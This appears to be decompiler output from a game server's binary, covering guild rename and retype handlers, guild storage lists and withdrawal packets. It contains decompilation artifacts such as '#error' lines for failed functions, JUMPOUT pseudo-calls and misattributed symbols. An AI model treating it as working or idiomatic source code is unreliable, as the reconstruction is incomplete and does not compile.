unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46091); if ( v2 < 0x80u && (v3 = 18 * v2 + 209036456, 18 * v2 != -209036456) ) { if ( *((_WORD *)v1 + 2) == queue_GuildReName.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29873; *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_DWORD *)v16 + 2) = *(_DWORD *)(v3 + 2); *((_DWORD *)v16 + 3) = *(_DWORD *)(v3 + 6); *((_DWORD *)v16 + 4) = *(_DWORD *)(v3 + 10); *((_DWORD *)v16 + 5) = *(_DWORD *)(v3 + 14); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess : Packet Too Long", 24); } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 776))(v1, 29, 173, 6720); } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReName Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReName Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_598DE4); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00450500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46092); if ( v2 < 0x80u && (v3 = 4 * v2 + 209038768, 4 * v2 != -209038768) ) { if ( *((_WORD *)v1 + 2) == queue_GuildReType.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29881; *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); v16[8] = *(_BYTE *)(v3 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess : Packet Too Long", 9); } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 776))(v1, 29, 181, 6744); } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReType Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Guild ReType Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_598DE4); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00450750) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { MemoryQueue *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x12u, 128, (void (__thiscall *)(void *))MemoryQueueElement::MemoryQueueElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mq_Pointer.mask = 127; v1->mq_Pointer.value = 0; } //----- (00450790) -------------------------------------------------------- void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this) { _eh_vector_destructor_iterator_( this, 0x12u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004507B0) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReName *content) { unsigned int v3; // eax@1 char *v4; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; v4 = (char *)&this->mq_Buffer[this->mq_Pointer.value].content; *(_QWORD *)v4 = *(_QWORD *)&content->sGuildName.n4_name[0]; *((_QWORD *)v4 + 1) = *(_QWORD *)&content->sGuildName.n4_name[8]; return LOWORD(this->mq_Pointer.value); } //----- (00450810) -------------------------------------------------------- #error "450810: undefined or illegal type '#440' (funcsize=207)" //----- (00450B10) -------------------------------------------------------- char __thiscall GuildStorage::GuildStorageElement::gse_GuildCheck(GuildStorage::GuildStorageElement *this, unsigned int guild) { return this->gse_Guild == guild; } //----- (00450B20) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::GuildStorageElement(GuildStorage::GuildStorageElement *this) { GuildStorage::GuildStorageElement *v1; // esi@1 v1 = this; ItemGuildStorage::ItemGuildStorage(&this->gse_Storage); v1->gse_Guild = 0; } //----- (00450B50) -------------------------------------------------------- char __thiscall GuildStorage::GuildStorageElement::gse_FreeDeactivate(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 handle) { if ( !this->gse_Activate ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); return 1; } //----- (00450B70) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_Deactivate(GuildStorage::GuildStorageElement *this) { this->gse_Activate = 0; } //----- (00450B80) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetActivate(GuildStorage::GuildStorageElement *this) { this->gse_Activate = 1; } //----- (00450B90) -------------------------------------------------------- int __thiscall GuildStorage::GuildStorageElement::gse_GuildCompare(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 hnd, GuildStorage::GuildStorageElement *key) { return key->gse_Guild - this->gse_Guild; } //----- (00450BB0) -------------------------------------------------------- unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetMoney(GuildStorage::GuildStorageElement *this) { return this->gse_Cen; } //----- (00450BC0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetMoney(GuildStorage::GuildStorageElement *this, unsigned __int64 set_cen) { this->gse_Cen = set_cen; } //----- (00450BE0) -------------------------------------------------------- unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetToken(GuildStorage::GuildStorageElement *this) { return this->gse_Token; } //----- (00450BF0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageElement::gse_SetToken(GuildStorage::GuildStorageElement *this, unsigned __int64 nToken) { this->gse_Token = nToken; } //----- (00450C10) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5A4D2C: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (00450C30) -------------------------------------------------------- #error "450C30: undefined or illegal type '#440' (funcsize=84)" //----- (00450D30) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::_GuildStorageManager(GuildStorage::GuildStorageManager *this) { GuildStorage::GuildStorageManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->gsm_StorageArray, 0x1070u, 300, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::_GuildStorageElement); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5A4D2C: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (00450DA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageClose(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v1 + 34114) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageClose"); } //----- (00450E00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageError(void *this, __int16 err) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageError"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildStorageError"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29842; *((_WORD *)v3 + 1) = err; v3[20] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 21) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildStorageError : Packet Too Long", 21); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildStorageError"); } //----- (00450EF0) -------------------------------------------------------- void __thiscall ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(ShineGuildStorageWithdraw *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring) { char *v2; // edx@1 PROTO_NC_GUILD_STORAGEWITHDRAW_CMD *v3; // edx@1 this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildStorageWithdraw::_vftable_; this->sgsw_GuildNo = ring->gldregnum; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29844; this->sgsw_NetCommand = (NETCOMMAND *)v2; this->sgsw_WithdrawPacket = (PROTO_NC_GUILD_STORAGEWITHDRAW_CMD *)(v2 + 2); v2[2] = ring->type; this->sgsw_WithdrawPacket->isBuy = ring->isBuy; v3 = this->sgsw_WithdrawPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgsw_WithdrawPacket->item = ring->item; this->sgsw_WithdrawPacket->slot = ring->slot; this->sgsw_WithdrawPacket->___u5.lot = ring->___u7.lot; } // 5A4E44: using guessed type int (__stdcall *ShineGuildStorageWithdraw___vftable_)(int, __int16 GuildInven); //----- (00450F70) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(GuildStorage::GuildStorageManager *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring) { ShineGuildStorageWithdraw sgsw; // [sp+4h] [bp-1Ch]@1 int v3; // [sp+1Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(&sgsw, ring); LOBYTE(v3) = 1; List::l_4AllInList(unk_1247FF04, (ListIteratorDefault *)&sgsw); --funcallanalizer.fca_stackpoint; sgsw.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v3 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member"); } // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00451030) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00451080) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 PROTO_NC_GUILD_STORAGEWITHDRAW_RNG tempring; // [sp+8h] [bp-38h]@4 unsigned int v5; // [sp+30h] [bp-10h]@5 int v6; // [sp+3Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v6 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { memcpy(&tempring, v3, sizeof(tempring)); GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(&gldstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); } else { --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG"); } __security_check_cookie(v5); } //----- (00451180) -------------------------------------------------------- GuildStorage::GuildStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildStorage::GuildStorageElement *, List *, unsigned __int16, GuildStorage::GuildStorageElement *), unsigned __int16 *hnd, GuildStorage::GuildStorageElement *key) { GuildStorage::GuildStorageElement *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(GuildStorage::GuildStorageElement *, List *, unsigned __int16, GuildStorage::GuildStorageElement *); // [sp+8h] [bp-1Ch]@1 GuildStorage::GuildStorageElement *v8; // [sp+Ch] [bp-18h]@1 GuildStorage::GuildStorageElement *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004511F0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00451310) -------------------------------------------------------- GuildStorage::GuildStorageElement *__thiscall GuildStorage::GuildStorageManager::gsm_FindStorage(GuildStorage::GuildStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 GuildStorage::GuildStorageElement *result; // eax@1 ItemGuildStorage thisa; // [sp+0h] [bp-1080h]@1 unsigned int v8; // [sp+1068h] [bp-18h]@1 unsigned int v9; // [sp+1070h] [bp-10h]@1 int v10; // [sp+1074h] [bp-Ch]@1 int (*v11)(); // [sp+1078h] [bp-8h]@1 int v12; // [sp+107Ch] [bp-4h]@1 v12 = -1; v11 = _ehhandler__gsm_FindStorage_GuildStorageManager_GuildStorage__QAEPAVGuildStorageElement_2_KPAG_Z; v10 = v3; v4 = alloca(4212); v5 = (List *)this; ItemGuildStorage::ItemGuildStorage(&thisa); v8 = guild; v12 = 0; List::l_Search( v5, GuildStorage::GuildStorageElement::gse_GuildCompare, storagehandle, (GuildStorage::GuildStorageElement *)&thisa); v12 = -1; ItemGuildStorage::_ItemGuildStorage(&thisa); __security_check_cookie(v9); return result; } // 58508B: using guessed type int _ehhandler$?gsm_FindStorage_GuildStorageManager_GuildStorage__QAEPAVGuildStorageElement_2_KPAG_Z(); //----- (004513C0) -------------------------------------------------------- #error "4513C0: undefined or illegal type '#331' (funcsize=156)" //----- (004515E0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, GuildStorage::GuildStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildStorage::GuildStorageElement::operator_(v3, (int)ele); return 1; } // 4515F5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00451610) -------------------------------------------------------- int __thiscall GuildStorage::GuildStorageElement::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // ebp@1 const void *v5; // esi@2 void *v6; // edi@2 result = this; v3 = this + 4; v4 = 36; do { v5 = (const void *)(a2 - this + v3); v6 = (void *)v3; v3 += 116; --v4; memcpy(v6, v5, 0x74u); } while ( v4 ); *(_DWORD *)(this + 4184) = *(_DWORD *)(a2 + 4184); *(_DWORD *)(this + 4188) = *(_DWORD *)(a2 + 4188); *(_DWORD *)(this + 4192) = *(_DWORD *)(a2 + 4192); *(_DWORD *)(this + 4196) = *(_DWORD *)(a2 + 4196); *(_DWORD *)(this + 4200) = *(_DWORD *)(a2 + 4200); *(_BYTE *)(this + 4204) = *(_BYTE *)(a2 + 4204); return result; } //----- (00451690) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, GuildStorage::GuildStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildStorage::GuildStorageElement::operator_(v3, (int)ele); return 1; } // 4516A6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004516C0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, GuildStorage::GuildStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildStorage::GuildStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00451710) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, GuildStorage::GuildStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildStorage::GuildStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00451760) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::GuildStorageManager(GuildStorage::GuildStorageManager *this) { GuildStorage::GuildStorageManager *v1; // esi@1 signed int v2; // ecx@1 signed int v3; // eax@1 int v4; // edi@1 ListStruct *v5; // edx@3 GuildStorage::GuildStorageElement *v6; // ebp@3 int v7; // edx@3 ListStruct *v8; // edx@6 GuildStorage::GuildStorageElement *v9; // ebp@6 int v10; // edx@6 ListStruct *v11; // edx@9 GuildStorage::GuildStorageElement *v12; // ebp@9 int v13; // edx@9 ListStruct *v14; // edx@12 GuildStorage::GuildStorageElement *v15; // ebp@12 int v16; // edx@12 ListStruct *v17; // edx@15 GuildStorage::GuildStorageElement *v18; // ebp@15 int v19; // edx@15 ListStruct *v20; // edx@18 GuildStorage::GuildStorageElement *v21; // ebp@18 int v22; // edx@18 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x12Cu); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->gsm_StorageArray, 0x1070u, 300, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::GuildStorageElement, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::_GuildStorageElement); v2 = 2; v3 = 3; v4 = (int)&v1->gsm_StorageArray[1]; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v5 = v1->baseclass_0.l_Array; v6 = v5[v3 - 3].ls_Content; v7 = (int)&v5[v3 - 3]; if ( !v6 ) *(_DWORD *)v7 = v4 - 4208; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v8 = v1->baseclass_0.l_Array; v9 = v8[v3 - 2].ls_Content; v10 = (int)&v8[v3 - 2]; if ( !v9 ) *(_DWORD *)v10 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v11 = v1->baseclass_0.l_Array; v12 = v11[v3 - 1].ls_Content; v13 = (int)&v11[v3 - 1]; if ( !v12 ) *(_DWORD *)v13 = v4 + 4208; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v14 = v1->baseclass_0.l_Array; v15 = v14[v3].ls_Content; v16 = (int)&v14[v3]; if ( !v15 ) *(_DWORD *)v16 = v4 + 8416; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v17 = v1->baseclass_0.l_Array; v18 = v17[v3 + 1].ls_Content; v19 = (int)&v17[v3 + 1]; if ( !v18 ) *(_DWORD *)v19 = v4 + 12624; } if ( v2 + 3 < v1->baseclass_0.l_MaxSize ) { v20 = v1->baseclass_0.l_Array; v21 = v20[v3 + 2].ls_Content; v22 = (int)&v20[v3 + 2]; if ( !v21 ) *(_DWORD *)v22 = v4 + 16832; } v2 += 6; v3 += 6; v4 += 25248; } while ( v2 - 2 < 300 ); } // 5A4D2C: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (004518C0) -------------------------------------------------------- bool __thiscall FieldMap::fm_IsGuildTournametnMap(int this) { int v1; // eax@1 bool result; // al@2 int v3; // esi@3 _UNKNOWN *v4; // eax@3 unsigned int v5; // edx@3 v1 = *(_DWORD *)(this + 172); if ( v1 ) { result = v1 == 1; } else { v3 = *(_DWORD *)this; *(_DWORD *)(this + 172) = 1; v4 = &unk_C88F329; v5 = 0; while ( *((_DWORD *)v4 - 2) != v3 || *((_DWORD *)v4 - 1) != *(_DWORD *)(this + 4) || *(_DWORD *)v4 != *(_DWORD *)(this + 8) ) { v5 += 13; v4 = (char *)v4 + 13; if ( v5 >= 0x193 ) { *(_DWORD *)(this + 172) = 2; return 0; } } result = 1; } return result; } 